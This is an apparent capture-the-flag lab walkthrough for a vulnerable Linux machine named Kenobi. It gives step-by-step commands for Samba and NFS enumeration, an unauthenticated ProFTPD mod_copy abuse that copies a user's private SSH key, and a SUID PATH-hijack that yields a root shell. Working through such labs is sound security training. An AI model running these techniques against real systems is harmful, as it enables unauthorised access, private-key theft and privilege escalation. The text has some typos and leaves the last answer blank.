Kenobi

Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.

**Task 1- Deploy the vulnerable machine**

Connect to the machine

-Scan the machine with namp, how many ports are open?

$ nmap -sC -sV 10.10.248.186

Ans – 7 Port opens

**Task 2 – Enumerating Samba for shares**

SAMBA

Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

**Answer the question:**

Using nmap we can enumerate a machine for SMB shares.

Nmap has the ability to run to automate a wide variety of networking task. There is a script to enumerate shares!

nmap -p 445 –script=smb-enum.sne,smb-enum.nse 10.10.248.186

SMB has two ports, 445 and 139.

>Using the namp command above, how many shares have been founded?

Here you can see the result of smb-shares:

┌──(kali㉿kali)-[~]

└─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.248.186

Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-10 11:27 EDT

Nmap scan report for 10.10.248.186

Host is up (0.35s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

Host script results:

**| smb-enum-shares:**

**| account\_used: guest**

**| \\10.10.248.186\IPC$:**

**| Type: STYPE\_IPC\_HIDDEN**

**| Comment: IPC Service (kenobi server (Samba, Ubuntu))**

**| Users: 1**

**| Max Users: <unlimited>**

**| Path: C:\tmp**

**| Anonymous access: READ/WRITE**

**| Current user access: READ/WRITE**

**| \\10.10.248.186\anonymous:**

**| Type: STYPE\_DISKTREE**

**| Comment:**

**| Users: 0**

**| Max Users: <unlimited>**

**| Path: C:\home\kenobi\share**

**| Anonymous access: READ/WRITE**

**| Current user access: READ/WRITE**

**| \\10.10.248.186\print$:**

**| Type: STYPE\_DISKTREE**

**| Comment: Printer Drivers**

**| Users: 0**

**| Max Users: <unlimited>**

**| Path: C:\var\lib\samba\printers**

**| Anonymous access: <none>**

**|\_ Current user access: <none>**

Nmap done: 1 IP address (1 host up) scanned in 41.46 seconds

>On most distribution of Linux smbclient is already installed. Let’s inspect one of the shares.

$ smbclient //<ip>/anonymous

>Now you are connected, list the files on the shares, What is the file can you see?

Ans - log.txt

>You can recursively download the SMB share too, Submit the username and password as nothing.

$ smbget -R smb://<ip>/anonymous

Open the file on the share. There is a few interesting things found.

* Information generated for Kenobi when generating an SSH key for the user
* Information about the ProFTPD server

>What port is FTP running on?

Ans – 21

Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.

In our case, port 111 is access to a network file system, Lets use nmap to enumerate this:

$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.248.186

>What mount can we see?

Ans - /var

**Task 3 – Gain initial access with ProFtpd**

Proftpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software version.

**Answer the question:**

Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.

Q1. What is version?

Ans - $ nc 10.10.248.186 21

Flag – 1.3.5

We can use searchsploit to find exploits for particular software version.

Searchsploit is basically just a command line search tool for exploit-db.com

Q2. How many exploits are there for the ProFTPd running?

$ searchsploit proftpd version

How many have found ProFTpd’s mod\_copy module.

<http://www.proftpd.org/docs/contrib/mod_copy.html>

The mod\_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

>We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.

>We're now going to copy Kenobi's private key using SITE CPFR and SITE CPTO commands.

First we use netcat to connect with the ftp

$ nc 10.10.100.124 21 #This ip?after restarting machine

We can’t use any command but we know form the log file on the SMB share the ftp service is started with Kenobi

Type in the following command to copy rsa key

SITE CPFR /home/Kenobi/.ssh/id\_rsa

SITE CPTO /var/tmp/id\_rsa

>We know that the /var directory was a mount we could see (task2, question 4). So we’ve now moved Kneobi’s private key to the /var/tmp directory.

>Let’s mount the /var/tmp directory to our machine

$ mkdir /mnt/kenobiNFS

$ mount machine\_ip:/var /mnt/kenobiNFS

$ ls -la /mnt/kenobiNFS

>WE have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi account.

$ cp /mnt/kenobiNFS/tmp/id\_rsa <destination path>

$ chmod 600 id\_rsa

$ ssh -i id\_rsa kenobi@10.10.100.124

**Task 4 – Privilege Escalation with Variable Manipulation**

|  |  |  |
| --- | --- | --- |
| Permission | On Files | On Directories |
| SUID Bit | User execute the file with permission of the file owner | - |
| SGID Bit | User execute the file with the permission of the group owner. | File created in directory gets the same group owner |
| Sticky Bit | No meaning | Users are prevented from deleting file from other users. |

**Answer the question:**

SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.

To search the a system for these type of files run the following:

find / -perm -u=s -type f 2>/dev/null

Q1. What file looks particular out of the ordinary?

Ans - /usr/bin/menu

Q2. Run the binary, how many options appear?

$ /usr/bin/menu

String is command on Linux that looks for human readable strings on binary

As this file runs as the root users privileges, we can manipulate our path gain a root shell.

$ cd /tmp

$ echo /bin/sh > curl

$ chmod 777 curl

$ export PATH=/tmp:$PATH

$ /usr/bin/menu

We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the "curl" binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!

Q3. What is the root flag (/root/root.txt)?

Ans -